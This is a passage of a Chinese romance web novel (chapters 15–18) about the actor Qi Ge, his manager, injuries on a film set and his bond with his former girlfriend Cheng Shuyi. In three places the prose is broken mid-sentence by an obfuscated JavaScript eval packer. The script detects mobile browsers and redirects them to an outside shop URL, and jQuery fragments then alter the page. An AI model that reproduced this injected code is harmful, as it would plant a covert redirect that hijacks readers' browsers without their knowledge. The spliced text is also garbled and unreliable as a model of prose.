进了房间之后,阿远连一壶茶都没泡好,高姐已经开门见山发起了攻势:“程女士,我想你需要知道,祁歌是不会公开恋情的。” “啊?”程书仪的疑问伴随着阿远那边壶盖弄掉的声音一起响起。 阿远获得一个白眼,程书仪则获得了不太耐烦的解释:“他是个公众人物,有些事情可以做,有些事情不行。不管他自己怎么想,公司不会允许他公布自己的感情状况。” “啊,”程书仪表示理解,“那他自己怎么想啊?” 这下换高姐陷入不解。 阿远及时地来到桌边给两人都倒了茶。 茶叶是她从招待所小抽屉里拿的,估计不是什么好茶,但她估计两个人都不会喝,就随便泡了点。 没想到两个人居然同时端起了杯子,喝了一口之后又同时皱起眉。 “这什么茶?”高姐嫌弃地问。 “太难喝了。”程书仪补刀说。 阿远再一次陷入了阿巴阿巴阿巴。 “其实我觉得您可能多虑了,”程书仪放下茶杯说,“我不是祁歌的女朋友,真的只是朋友,过来探班看看他。” “祁歌不会让普通朋友过来探班。”高姐指出。 “我自己来的,没经过他的允许。”程书仪再次真诚解释。 ……场面再次陷入沉默。 “如果你不是他女朋友,”高姐十分不详地将目光转向阿远,“他为什么死也不肯拍点花絮?” 阿远被问得呆住了几秒:“要不我重新泡点茶吧?” 15. 救猫咪 是啊,为什么呢。 其实这个问题程书仪也很费解。 在她的脑海里,关于祁歌的很多事就像一个个绕成一团的毛线球,看起来千头万绪,却找不到解开的那一个契机。 难道猫猫就是这样吗…… 这晚她睡得不太好,梦里祁歌变成一只大猫,粘人地绕着她的脚转。她要伸手撸两下,大猫却转身就走。 程书仪在床上嘎吱一声翻了个身。 这里的房间早上会有点吵,外面有车辆的声音呼啸而过,还伴随着鸣笛声。 把我猫都吓跑了。程书仪迁怒地想。 这时,她的门被轻轻地叩响了三下。 程书仪相信,假如自己此刻没有睡醒,这种程度的敲门声应该是听不到的。 想必是祁歌或者阿远。 她慢悠悠地爬起来趿拉着拖鞋去开门。 没想到外面站着的是高姐。 程书仪一整个茫然:“……您好,有事吗?” “抱歉啊,”高姐一改昨天的敌意,笑眯眯地对她说,“昨天误会了,打扰到了你,给你带了点这边的特产,还有早餐。” “啊……”程书仪发现自己面对这个人时,经常陷入暂时的茫然状态。 这又是唱的哪出啊? “先进来吧,我这儿有点乱,别介意啊。”程书仪退了两步让对方进来。 她感觉对方好像还有什么话想说。 “没事你先忙,我帮你把早饭摆上。”高姐热情地说。 奇奇怪怪的……程书仪心想,伸手把床铺拉了一下,又进卫生间快速洗漱了一番。 出门时,看到外面的小桌上已经摆好了早饭。高姐非常妥帖地带了块无纺布的小桌布铺在下面,还用房间里的玻璃杯盛装了牛奶,服务非常周到。 无功不受禄,程书仪没坐过去,先在床边坐下了:“怎么想到跑我这儿一起吃早餐啊?” 高姐笑了笑:“可以交个朋友吗?” “为什么?” “你是祁歌的朋友,我也很关心祁歌,我想我们之间认识一下也没坏处。而且我们年龄相仿,或许之后多点沟通,会发现做朋友也不错。” 听上去有几分道理。 程书仪点点头表示认可:“昨天说了不是女朋友,你还不信,怎么想一晚上就信了?” 总不会在这儿花言巧语试探我吧。 高姐又笑了:“再次跟您致歉,昨晚是我先入为主瞎猜,祁歌已经跟我解释清楚了。” “解释”两个字,对祁歌来说其实是有点轻描淡写了。 他气得一晚上没睡着。 他早就猜到高姐专门过来这穷乡僻壤一趟,八成就是要找他兴师问罪,只是没想到这事儿还能波及到程书仪。 晚上祁歌一下戏就看到阿远发来的前线战(求)报(助),匆匆回到住处就去找高姐兴师问罪。 “倒是少见你为别人这么激动。”高姐客观评价道,“我知道了,你是在追她。” 祁歌当场哑火。 “这么说是我想错了,她看着比你成熟稳重多了,长得也漂亮,虽然不修边幅,但气质不错,你喜欢这个类型啊?”高姐一点没打算放过他的意思。 祁歌被这段连击打得气场大减,说话都变得嗫喏起来:“……没有不修边幅。” “什么?”高姐挑眉。 “……总之你别找她了,这事儿跟她没有关系。”祁歌最后硬邦邦地说。 高姐眯着眼睛看他,仿佛早已把他看穿了。 “起来了吗?”吃饭间,程书仪的手机屏幕亮了。 “起来了,过来吃早饭吗?”程书仪想了想,淡定回复道。 没过一会儿,祁歌果然过来敲门。 “早啊,你……”刚说了半句话,祁歌的脸就僵住了。 程书仪盯着他脸上变幻莫测的表情,感觉十分有趣。 说真的,能让祁歌露出这种表情的场面并不多。 高姐假装没看到他,站起身对程书仪说:“我吃好了,先走啦,你明天几点走?给你派个车。” 程书仪还没来得及婉拒,她又加了句:“不用跟我客气,这边不好找车,我这儿就一句话的事儿。” “行,那麻烦你啦。”程书仪顺水推舟道。 高姐笑着点点头,忽略掉仍然拉着脸站在门口的祁歌,潇洒地踩着高跟鞋走了。 “好了,”自己惹的猫还得自己哄,程书仪伸手把门口的这尊雕像拉进来,“这些早餐都没动过,快吃点。今天几点上工啊?” 祁歌还有点闷闷不乐:“她怎么又来找你了?” “她是来道歉的,还给我带了吃的和礼物,”程书仪指指桌上的早餐和放在一边的纸袋,“你经纪人还挺好的,很关心你。” 祁歌哼了一声,低头拿了双筷子戳着虾饺:“她肯定另有目的。” “我知道啊,”程书仪笑着说,“我觉得……她可能想让我帮她劝你吧?” 这也并不难看出来。 “……你会吗?”祁歌忽然抬起头。 程书仪愣了愣。 这件事其实不是第一次出现在他们之间。 三年前,他们刚在一起没多久的时候,祁歌曾经饰演过一部剧的男配。戏里他跟女配的感情戏虽然蜻蜓点水,但两人都演得十分真挚,令不少观众大呼般配。 当时祁歌刚刚签约经济公司,被通知要跟女配的演员炒炒cp,增加一下热度。 祁歌为此和公司闹了挺久矛盾。 他作为一个小演员,这种事当然是不由自己的。点映礼上,面对安排好的种种环节,祁歌始终没怎么提起兴致,表现十分冷淡。 下来就被骂了一通。 “为什么不?”程书仪不太理解,“是正常的工作而已啊。” “我不是有你吗?”祁歌伸手抱她,“炒什么cp啊……” “我不介意的。”程书仪赶紧说。 祁歌的动作僵了一僵。 “你……不介意?” “对啊,”程书仪客观帮他分析,“如果有助于你的事业,真的不用顾虑我。” 祁歌的声音有点冷了下去:“事业就那么重要吗?” “不是这也不是二选一啊,”程书仪有点莫名其妙,“就是配合工作而已,都说了我不介意。” 祁歌没再说什么,这个话题就像他们之间的很多分歧一样,被埋在融洽相处的水面之下。 而到最后将这条小船倾覆的,大概就是这样的东西吧。 “今天想做什么?”没等到程书仪的回答,祁歌换了个话题,“还去片场玩吗?” “好啊,”程书仪喝掉杯子里最后的牛奶,“今天拍什么?” “今天可厉害了,”祁歌语调夸张地介绍说,“今天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578272|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍打戏,大场面,吊威亚,而且是新型威亚,能做特别高难度的动作那种。” 他聊起这些事的时候总是会自顾自陷入兴奋,目光闪闪像是天真的小朋友。 程书仪歪着头看他,觉得心情格外地好了起来。 等看到了那个复杂的新型威亚,程书仪才是真正的叹为观止。 她对威亚的印象还停留在用一根钢丝把人吊到半空然后再放下,伪造出有轻功的状态。 没想到现在的威亚可以在工作人员的辅助下做到许多匪夷所思的武打动作,让演员身如飞燕,看上去不受重力的影响,翩若惊鸿矫若游龙,旋止有度仙气飘飘。 程书仪在休息区看了会儿,发现演员装上这种威亚之后就不能再回休息区坐下了,拍戏的辛苦程度也直线上升。 于是每个镜头拍完后,助理和化妆师都会上前递水擦汗补妆一条龙。 阿远一个人就显得有点忙不过来了。 程书仪看清了工作人员的行动逻辑之后,也接过阿远手上的纸巾跟上去帮忙。 祁歌刚因为一个下冲的动作被倒吊了好久,下来后眼前一片片发黑。 “哥,没事吧。”阿远的声音传过来。 有人把水杯递到他手里,同时又有纸巾轻柔地拭去他额角的汗。 想必是片场的老师过来帮忙了。 祁歌道了声谢,抬眼才看到是程书仪。 他意外地眨了眨眼睛。 “还好吗?”程书仪问他。 “嗯,没事儿,”祁歌笑了笑,“你怎么也跟着忙,去那边休息嘛。” “我闲着也是闲着,”程书仪说,“体验一下阿远的工作。” 阿远猛点头:“程姐你就是天使的化身!” “你少添乱了,”祁歌对阿远说,“一会儿放饭了记得给你俩都领上。” “行,”阿远敬礼,“放心吧,我把程姐照顾得好好的。” 这句话显然是说到了祁歌的心坎里,祁歌竟然罕见地对她举了赞许的大拇指。 短暂的休整后,下一个镜头又要开拍。 “你先去那儿坐会儿呗。”程书仪看到阿远蹲在地上休息,指着旁边的一些木箱子说。 有几个工作人员有说有笑地正坐在上面休息。 “那可不行!”阿远大惊,“片场的箱子女的不能坐。” 程书仪纳闷:“女的不能坐?为什么?” “说是不吉利,”阿远小声蛐蛐道,“片场就是这样子,好多奇奇怪怪的规矩。” “那我就坐一下会怎样?”程书仪跃跃欲试。 “……肯定会被骂的。”阿远敬畏地看着她。 想想可能会给祁歌添麻烦,程书仪还是把这蠢蠢欲动的心思压了下去。 算了,总有一天要坐一下。 正想着,负责吊威亚线的工作人员那边忽然传来了几声惊呼。 她们俩闻声同时抬头看去。 不知道是哪里的配合出了问题,祁歌本该身姿轻盈地从屋顶的檐角略过,却整个人飞得过低,从粗糙的瓦片边上擦过。 程书仪她们站得近,能清楚地听到他在空中发出一声闷哼。 “停!快看看有没有事?”导演的声音传过来。 祁歌被慢慢放了下来。 人群簇拥之间,他的第一个动作是先抬起泛白的脸冲着导演的方向比了个OK。 16. 还能拍 “怎么样怎么样?”工作人员一迭声地问祁歌。 祁歌没说话,只在被碰到腿的时候轻微呲了下牙。 程书仪低头看到他月白色戏服的小腿处一片污渍,工作人员正帮忙卷起裤脚检查。 一大块擦伤和伤口周围的许多青青紫紫就这么露了出来。 “忍一下,消个毒。”看起来是负责医护的工作人员操起酒精喷了上去。 祁歌猛地吸了口气,双眼紧闭,张了张口却没喊出声音,幸好身边的人扶着才没整个人软下去。 阿远有些担心:“用不用去医院啊?” 大概是实在太痛,祁歌半天没说出话,只摆了摆手。 “怎么不小心点呢,导演我们还拍不拍了呀?”女主提出疑问。 程书仪看到阿远又在悄悄翻白眼。 “能拍能拍,就皮外伤。”祁歌说。 他这会儿缓过来点了,自己站直让工作人员帮他简单包扎。 “真没事吗?”导演不太放心地问。 “真没事!”祁歌笑,“刚才刘哥这下酒精给我喷太猛了,现在感觉不到疼了已经。” “那就行,”导演这才坐回去,“等会儿你们注意拉高一点,咱们这个角度离二三十厘米都看不出来的。” 他们想要拍的是持剑从檐上掠下的镜头,当然离得越近效果越好,但也越容易受伤。 由于设备复杂,今天的打戏都是用棚拍,造景老师已经在修复刚才被撞乱的道具瓦片。 也幸好是道具,要是结结实实撞在真实的房檐上,怕是祁歌现在已经骨折了。 “不好意思啊!”威亚老师拍拍祁歌的肩。 祁歌摇摇头:“没事!这次咱配合好点,没问题的。” 这一段拍完,祁歌解下威亚时,程书仪已经棚里棚外转了三圈,尝试了剧组的各种小零食,打了两局游戏,学会了骑电动车,并吃掉了一整盒盒饭。 “这么丰富!”祁歌笑吟吟地看着她,“无聊死了吧?” 程书仪皱了皱鼻子:“说实话,是有点,没想到一个镜头需要拍那么久。” “你以为我们都是江湖高人,刷刷几下打完了?”祁歌动作有点不自然地在椅子上坐下,拿起阿远给他用暖宝宝暖着的饭。 “哎你慢着,要不先喝点汤?”阿远操心地给他拿来一个小小的焖烧杯,“新装备,试试?” “新装备?”祁歌挺新鲜地接过来拧开,只见里面的小米粥颜色金黄,还冒着热气。 “不错吧不错吧不错爸!”阿远一脸“快夸我”的表情。 祁歌有些难以置信地眯着眼:“要么我现在是在做梦,要么阿远被人夺舍了……” 被阿远怒瞪后他才笑着改口:“好了,谢谢阿远,买杯子啥的钱我转你。” “那不用!”阿远大手一挥,“程姐给买的!” 祁歌正要品尝小米粥,闻言动作顿了一顿。 他抬眼看向程书仪。 程书仪有些不自然地错开目光:“我是给阿远带的,你……女儿挺孝顺。” 三个人静默了两秒,同时哈哈大笑起来。 “程姐还得是你,”阿远夸赞道,“你一来气氛变太好了,哎你什么时候走啊?” 气氛一下子就降了下去。 “难道……”阿远弱弱试探,“今天?” “明天。”程书仪说。 “哦……”阿远偷眼去看祁歌,只见这个从来不爱吃饭的人现在正专注地研究小米粥的组织结构与构形分布。 看来还是舍不得的。 今天的收工时间参考最近的拍摄日程来说,还算挺早的。 但是一天的动作戏下来,就算程书仪再迟钝也看得出祁歌已经在勉强支撑。 下戏后,祁歌换了衣服,在椅子上瘫了半天。 这时候他的眼睛变得有些无神,失去了周围的灯光、风扇、威亚、服化的加持,他好像脱去了人物的那层壳子,变成一个疲惫又酸涩的内里。 看到程书仪过来,他露出笑容,撑着椅子扶手站起身。 “不走吗?”程书仪问。 “等你嘛。”祁歌歪头眯了眼睛。 程书仪看得出来,他又给自己套上了一层壳子,一层……让程书仪舍不得戳穿的壳子。 “晚上想吃什么?”祁歌问她,“对了,我听说这边有个挺好玩的地方,是个古村,想去转转吗?” 程书仪摇摇头:“先回去再说吧。” 祁歌其实看得出,程书仪有些不太开心。 是不是拍戏太无聊了?不该把她拘在这儿一天的。 或许是这个地方条件还是太简陋了,对程书仪来说,很难找到什么真正感兴趣的活动。 要不然等下找找这里有没有娱乐场所,看戏听曲打游戏什么的? 祁歌还没计划好要怎么好好陪程书仪玩一下,忽然听程书仪问了他一句什么。 “什么?”他问道。 程书仪无语地摇摇头:“上车吧,先回去。” 他们已经走到车前,要回住的地方了。 “你们还要在这里拍多久啊?”程书仪问阿远。 阿远摇摇头:“不好说,看拍摄进度情况吧,来这边主要为了拍外景,刚才听场记老师说之前选好的景地都拍差不多了。” 祁歌应声道:“嗯,估计还要几天,在山里的部分结束之后就会回影视基地去拍了。” 阿远夸张地大呼一口气。 看得出这里实在把孩子累坏了。 祁歌没说什么,只无奈地笑了笑。 他的腿刚受伤之后还不算很疼,甚至感觉有点麻木,现在却越来越尖锐地疼了起来,在他的神经忍耐极限一跳一跳。 他没忍住锁了下眉。 拍戏的时候最怕的就是受伤,疼痛会影响动作的完成度,还会造成表演的不专心。 他闭上眼小心调整着呼吸,试图练习让自己的表情不受伤处的影响。 再睁开眼时发现程书仪正盯着他看。 他向程书仪投去疑问的目光。 程书仪摇了摇头,将目光收了回去。 下车时,那股可以被忽略的疼痛如电击一般从腿部窜出来,祁歌觉得自己像被毒蛇咬了一口,差点跌倒在地。 “哎哎哥、哥,哪儿不舒服你,头疼吗发烧吗头晕吗低血糖吗胃疼吗,需要什么东西?”阿远如同背了一段贯口在他耳边喋喋不休。 祁歌一万个无语:“师父别念了,我就腿有点疼。” 程书仪是跟在他们后面下来的,闻言立刻问他要不要去医院重新处理一下伤口。 “不用了,回去拆开自己再消个毒就行,天气热,包着可能有点容易发炎。”祁歌很有经验地说。 原来久病成医就是这样的。 三个人走到住处门口,程书仪伸手挽住了阿远的胳膊。 “那你先回去休息吧,我跟阿远去玩了。” “对,哥,你好好休息啊!”阿远也笑嘻嘻地说,“程姐说带我去民俗街逛街!” 祁歌在原地呆立了一会儿。 他心里关于今天带程书仪去玩的计划大概已经列好了三四个。 全都原地碎裂了。 两个女孩子完全不管他的心情,手挽手快乐地走远了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578273|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 怎么说呢。 这确实是最好的安排。 这个时候,他忽然反应过来那句没听清的话,是程书仪在轻声问他还好吗…… 程书仪是个太聪明的人,早看出他身心俱疲苦苦强撑,于是既不想勉强他提起精神,也不愿委屈了自己这段难得的旅行,就这样轻轻巧巧地留给了彼此一段空间。 程书仪总是对的。他有些苦笑着想。 程书仪曾说过的,关于他的固执,软弱,妥协与能力不够,也是对的。 ……即便是他再不愿意承认。 程书仪在清晨背着包拿着房卡,悄悄关好房门。 然后一转身就看到祁歌抱臂站在她身后。 “吓死我了你!”程书仪打了他一下,“干什么站这里?” “等你啊,”祁歌轻描淡写地说,“走吧,送你去机场。” “送、送我去?”程书仪讶然,“没必要吧,一来一回耽误两个多小时呢,你不如多睡会儿。” “有必要,”祁歌伸手摘下了她挂在肩上的双肩包,“我有话跟你说,回程路上还能睡觉,不耽误。” ……什么话啊。 车子开出有一阵了,祁歌却仍在发呆,没有要展开谈话的迹象。 “你……”程书仪决定先发制人,“你腿上怎么那么多伤?” “啊?”祁歌如梦初醒地回过神来,“什么伤……” 程书仪忽然就好奇另一个问题:“刚刚在想什么?” 祁歌笑了笑:“想之前坐沙发的事情,要是片场有一个沙发就好了。” 商务车的座椅非常舒适,确实和沙发很像。 程书仪也被他逗笑了:“我给你买一个?” “行,我每天就扛着沙发上工,座位整得比导演椅还豪华,”祁歌顺着说下去,“当场因为走路时先迈左腿被换掉了。” 话是他开玩笑地说的,程书仪却忍不住端详他的表情。 被换掉,是祁歌很长一段时间的噩梦。 今天也可以轻松地从嘴里说出来了。 “你……想跟我聊什么?”程书仪问。 祁歌垂眸默然了几秒:“其实是我觉得你有话想说。” 程书仪眨了眨眼。 没错,她确实有话,只是之前并不想说。 但是现在当事人都诚心诚意地请她说了…… “其实你经纪人对你的要求是很平常的,上一次好像也遇到过类似的情况。粉圈需要维护,也需要扩展。你现在粉丝还不算多,确实会对你接戏产生阻碍,卖卖CP很可能会出圈,有了观众基础才有可能接到你想要的好本子,而且这些营业只会是暂时性的……我不明白你为什么对这个这么固执。” 祁歌垂着眼睫乖乖听她倒完这一段,才抬起眼帘看她。 他的睫毛很长,垂顺地遮住了一点眼尾,让他的眼睛显得真切又闪烁:“对不起,之前没好好跟你解释这件事。” 没想到他一开口就是道歉。 程书仪顿时觉得心里有了点由于刚才直白开火而产生的歉疚。 狡猾的狐狸。 “我之前看过那些粉丝的发言,她们是真心实意地将自己的某种理想寄托在我们两个营造出来的人身上。”祁歌有些自嘲地笑了笑。 她们从未提出任何要求,只是细致入微地反复在那些暴露于摄影机下的细节中寻找爱的蛛丝马迹。 因此快乐,因此伤感,因此体会一遭人世间最微渺的蠢蠢欲动和无疾而终。 她们是真正懂得爱的人。 “我不想做假的迹象给她们看,”祁歌轻声说,“我不想……辜负爱。” 17. 别卖惨 程书仪发现自己其实很少在祁歌眼睛里看到这样认真的神情。 至少,不是在生活中。 他往往会把这种神情展露在角色的设定里,在镜头下,在需要感染观众的时候。 程书仪看过几次他演的影视片段,由于气质清澈,他的角色往往是直白诚挚的,很轻易地用一双眸子打动人心。 回到现实,他所心中最真实的情感却往往隔着一层纱帘,影影绰绰让人看不太清楚。 而这一次是真切的。 她思忖了片刻,点了点头:“好,你有你的道理,我不勉强。” 这下祁歌的表情里多了些惊讶,程书仪甚至觉得他在努力藏起一点点的失落。 好像在期待更多反馈,却被简简单单画了休止。 “怎么,觉得我应该跟你吵一架才行?”程书仪觉得好笑,“像以前那样?” 祁歌侧头看了她一眼。 “像以前一样”这样的表述令他感受到的似乎更多是怀念,而非不堪回首。 演员的眼睛是真的会说话的,程书仪想,虽然他这半天什么都没说,但自己竟然全都看懂了。 以前怎么就没看懂呢。 走前程书仪没忍住又嘱咐了一遍祁歌注意身体。 “知道了。”祁歌没下车,笑眯眯地从车窗里对她挥手。 程书仪一看就知道他的腿还在痛:“自己小心点,多大人了,一点也不省心。” “我会超级超级超级小心的。”祁歌保证道。 谁信。程书仪学阿远翻白眼。 果然,回去第二天就刷到路透里祁歌在拍雨戏。 天气不好,路透又离得远,画面里的人影看不太清,却奇异地很有氛围感。 镜头带到了人工下雨的设备,程书仪定睛一看,原来这些雨帘来自一辆小小的园林三轮车,大爷正用水泵从旁边的水沟里抽出水来进行喷淋。 评论区的粉丝发出和程书仪一样的感慨:“条件好差啊,这不等于跳进臭水沟洗个澡吗……” 很快就有所谓大粉来管理了:“删了吧,别卖惨。” 程书仪勤奋好学地去搜了一下什么叫卖惨,网上的定义是:卖弄惨状,以求得人们的同情心。 那应该只有祁歌本人为此抱怨才能叫卖惨吧! 她认真去跟大粉探讨了一下此定义。 接着立刻被拉黑了。 这幕戏的情节是两人产生误会,男主带着伤失魂落魄从雨中走来,女主跑过去一番质问,终于发现男主的伤。男主这才解释并抱紧女主,最终强行和好。 按照故事脉络,这个片段之后就是两人和和美美过日子,直到最终发生一场意外,男主身死回到现实。 “好想快点拍到甜蜜期的戏份,”祁歌搓了搓胳膊,“这也太虐心了,有嘴不能说。” “没办法,观众爱看,”导演心情甚好地说,“辛苦歌歌啦。” 其实一开始导演是想找个消防车来帮忙降雨的,结果说好的消防车突然来不了,只能找来这个带个水泵的园林车,降雨效果不太好不说,还必须得抽水沟里的脏水。 女主角欣欣当场就翻了脸,说这种条件她是拍不下去的。 拍摄现场一度陷入僵局。 最后还是祁歌劝了半天,帮着想了办法,先用瓶装纯净水把女生的头发衣服打湿,然后在女主跑上来的时候将雨水区域固定在画面背景中,靠打光来做出淋雨的效果,不必实际地将水浇在身上。 导演想了想觉得可行:“换长焦试试吧,灯光看看怎么处理?” 灯光老师欣然接受任务,在镜头旁边勾了侧逆光,又在后方雨丝上方吊了一个顶逆光。 灯光一打起来,镜头里稀稀拉拉落下的水滴似乎都拉出了银丝,地面上的积水也反射出闪闪光芒。 “祁歌呢,也怕脏吗?”导演笑着问。 问得出这样的话,就说明导演还没放弃让演员直接淋雨、将画面拍得更真实的可能。 “不怕,要不我就直接从雨里出来,”祁歌说,“这样前面画面狼狈些,后面就显得更梦幻了,有那种……救赎感。” 他说得有理有据,又撇去了拉踩女主的嫌疑,让导演很是满意。 “行,就这么走一遍!” 由于雨水灯光灯元素都要配合表演的节奏,这段镜头拍得有点慢,折腾了大半天终于是拍好了。 导演顺利有了想要的镜头很是开心,宣布下午休息,明天再开工。 祁歌一下戏就有些撑不住了。 淋雨这么久,又没什么缓解的机会,他换完衣服都还在不自主地哆嗦。 其实拍雨戏也算演员的家常便饭,一般拍完喝点姜汤暖和暖和就缓过来了。 今天也不知道哪里不对劲,祁歌感觉自己没什么力气,反应速度也在变慢。 “祁哥,”阿远敲了化妆间的门,“怎么样没事吧?” 祁歌站起身瘸过去给她开门,一开门就迎来了新的一轮大呼小叫。 “天哪哥,你这脸色就跟墙皮差不多了,热水喝了吗?”阿远一边说一边走进来。 祁歌却还保持着给她开门的动作,眼前一片迟来的昏黑。 糟,可能有点低血糖。 他张嘴想说句什么,意识却猝然断线。 阿远整个人都被吓飞了。 第一时间想喊的是救命。 虽然祁歌每天总是病病歪歪的状态,但真就这么倒了还是头一回。周围没有工作人员来帮忙,阿远不确定自己能不能把人扶起来……再说这这能扶吗?要不还是先看看有没有呼吸? 她刚凑过去祁歌就自己醒了,眨了两下眼看到她,开口先说了句“没事”。 阿远怀疑就算是此刻他脑袋掉了也会跟自己说完“没事”再死。 嘴就是这么硬。 “你怎么回事啊,低血糖?”阿远搭了把手把人从地上扶起来,“给,糖。” 她掏了颗软糖撕开递过去,看祁歌慢慢嚼着吃了。 有时候看着祁歌吃东西也挺发愁的,就好像吃的不是甜甜又好吃的果汁软糖,而是一颗仇家逼他咽下去的毒药似的。 好在刚才摔倒时没碰到脑袋,祁歌手肘有点磕到了,看看也不太严重。 “好点了吗?”阿远关心地问,将热水放在祁歌手边。 祁歌点点头,将水杯放在手里暖着,半天才突然冒出一句:“你还不下班?” “我的天,你说什么胡话,”阿远气到叉腰,“你都这样了我下班?回头你要有个好歹,让我跟剧组怎么交代,跟公司怎么交代,跟程姐怎么交代!” 这次骂他骂得很有层次感,阿远对自己的表现很满意。 她得意了一会儿,才发现祁歌的表情和之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578274|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那种油盐不进的状态不太一样。 似乎……沉浸在某种想象之中。 阿远这才后知后觉地从自己的话里提炼出了“程姐”两个字。 “我现在就跟程姐说!”她作势威胁道。 “哎别别别,”祁歌立马求饶,“我昨天才答应她会注意,你先瞒一瞒。” 他双手合十,装作十分可怜。 阿远审视地看着他。 “我就是,低血糖然后刚才冻到了,有点失温了可能,腿也疼,估计有点发炎。” 有求于人的某演员表现非常诚恳。 阿远姑且采信:“那你能走吗?我其实是过来叫你过去上车的,不然我跟老师们说一声稍等你一会儿。” “别了,剧组本来就车紧张,今天大家又好不容易多休息一会儿。”祁歌撑着椅背站起身,定在原地等了几秒,率先走出门去。 阿远盯着他晃晃悠悠的背影,感觉心里刚才那阵激烈的心跳还没平息。 他说“先”瞒一瞒,也就是说等过两天就可以全部告诉程姐了,嗯,逻辑通。 于是程书仪收到消息时,祁歌已经转场到另一个影视基地去了。 这几天她偶尔看看超话,大概也知道这部戏的几个所谓高虐重头戏都拍完了, 大概是终于结束艰苦戏份心情大好,转场的过程阿远甚至还拍了个vlog,用镜头记录下一起奋斗过的山顶和简易棚,挥别了一起淋过的水和一起吹过的风,一路上风景独好,草木繁茂,然而我的老板只是在睡觉。 程书仪将画面暂停在祁歌窝在椅背的睡颜。 才不过短短几天,感觉这人又瘦了一些,下半张脸在高领的衣服里藏了一半,看着几乎要没了。 好像某种小动物。 她的手指触到屏幕上祁歌的脸颊,碰到坚硬的触感才猛地缩了回去。 说实话,分手的时候,她是想过有天会看到祁歌的狼狈、受伤和撞了南墙的失落。 这些是她曾预见过的,也曾恨恨地想过这人该死地不听话,就算这样了也不过咎由自取。 那时候是祁歌提的分手,她平静地接受了,并觉得这很合理。 但今天她才觉得,或许当时她是有过不甘心的,只不过经过一番理性思考后,判断分开对彼此都更好,所以强迫自己将那些心情都丢在了一旁。 那些东西,她其实不确定要不要捡回来。 祁歌会想要那些吗? 或许祁歌想要的还是那个合乎逻辑的理性的她,只不过更成熟些,不会再有那些针锋相对兵荒马乱的时刻。 她还没想出来个所以然,手机突然冒出个消息,来自曹操本操:“到影视城了,好热啊!” 附带一只吐舌头的小狗。 喂喂,物种错了吧……程书仪笑着将表情添加进收藏。 再点击返回后,阿远的声音忽然从刚才没播完的视频中传了出来:“老板是真累得很了,一路都在睡……哥,哥起来吃饭了!” 画面已经离开了祁歌的脸,回到窗外的如画风景之中。 程书仪把音量键按大,听到祁歌闷闷地开口:“……什么?” “小米粥……不想吃吗?”阿远小声说。 程书仪没听到祁歌的回答,但她几乎可以想象对方白着一张脸,恹恹地摇头的样子。 她只觉得心里痒痒的。 18. 藿香水 出门旅游一趟,随之而来的一般都是一阵稍显忙碌的时间。 程书仪的工作到了这个阶段其实不会像早年那样忙得脚不沾地,而是拥有了更多自由安排的空间。这让她觉得心态也更自由些,不会为了某一件事而太过执着。 如果几年前是这种情况,或许她和祁歌也不会那样不欢而散。 这样想来,人和人之间的际遇可能都是阴差阳错的,一旦错过就再难追溯。 但时间永远在流动,在人生的时间跨度还没到尽头时,任何事也都还有可能。 不管是为了那点不甘心也好,为了心里压不住的蠢蠢欲动也好,她不喜欢给人生留下遗憾。所以祁歌的提议,她是真的动过心。 可是时间兜兜转转就像变成一个圆,现在他们俩的境况似乎颠倒了过来,在外面忙得脚不沾地的人变成了祁歌,她倒是大部分时间都有些无所事事。 所以……偶尔忙忙也好,程书仪想,还是多找点事情去忙吧,两个人一起忙,还谈什么恋爱,忙过去算了。 细细想来,她好像不是第一次出现这种“要不算了”的情绪。 是在怕往事重演,还是怕没那份心力,她也说不清楚,可能都有吧。 祁歌虽然没催过她,但这样拉拉扯扯个没完任其发展下去,好像也不是什么太好的局面。 直到有工作的电话打进来,程书仪才被迫掐断了自我剖析。 另一边的阿远是一点也没想到,才刚刚从荒野求生中出来,转头又掉进了火焰山副本。 在户外晒着大太阳拍戏,感觉连水泥地都反射着热度。她几秒钟就得擦一下汗,恨不得把舌头吐出来散热。 抬头看了看镜头下里三层外三层穿着古装的祁歌,阿远不由感叹有的人可能就是适合做演员的。 看看人家,身上汗都透了几层衣服,脸上的妆干干净净,跟没长汗腺似的。 中间休息的时候,阿远给祁歌弄了糖盐水递过去。 “不了。”祁歌摆摆手。 阿远知道他是怕这身衣服要上厕所太麻烦,尽量减少摄入水分,但还是劝了两句:“今天太热了,你小心中暑。” 于是祁歌眯着眼看了她一眼,伸手来接杯子,却一把抓了个空。 “哎哎哎哥哥,”阿远瞳孔巨震,直接把水杯塞他手里,“你别又给我晕在这儿。” 祁歌皱眉喝了口难喝的糖盐水,老神在在地答话:“不会,就有点恶心。” “不舒服怎么不早说呢,”阿远低下头一阵掏兜,“这儿有冰凉贴,你快贴给身上几个,降降温。” 祁歌挺新鲜地接过来:“好的,谢谢。” ?怎么突然礼貌了起来。 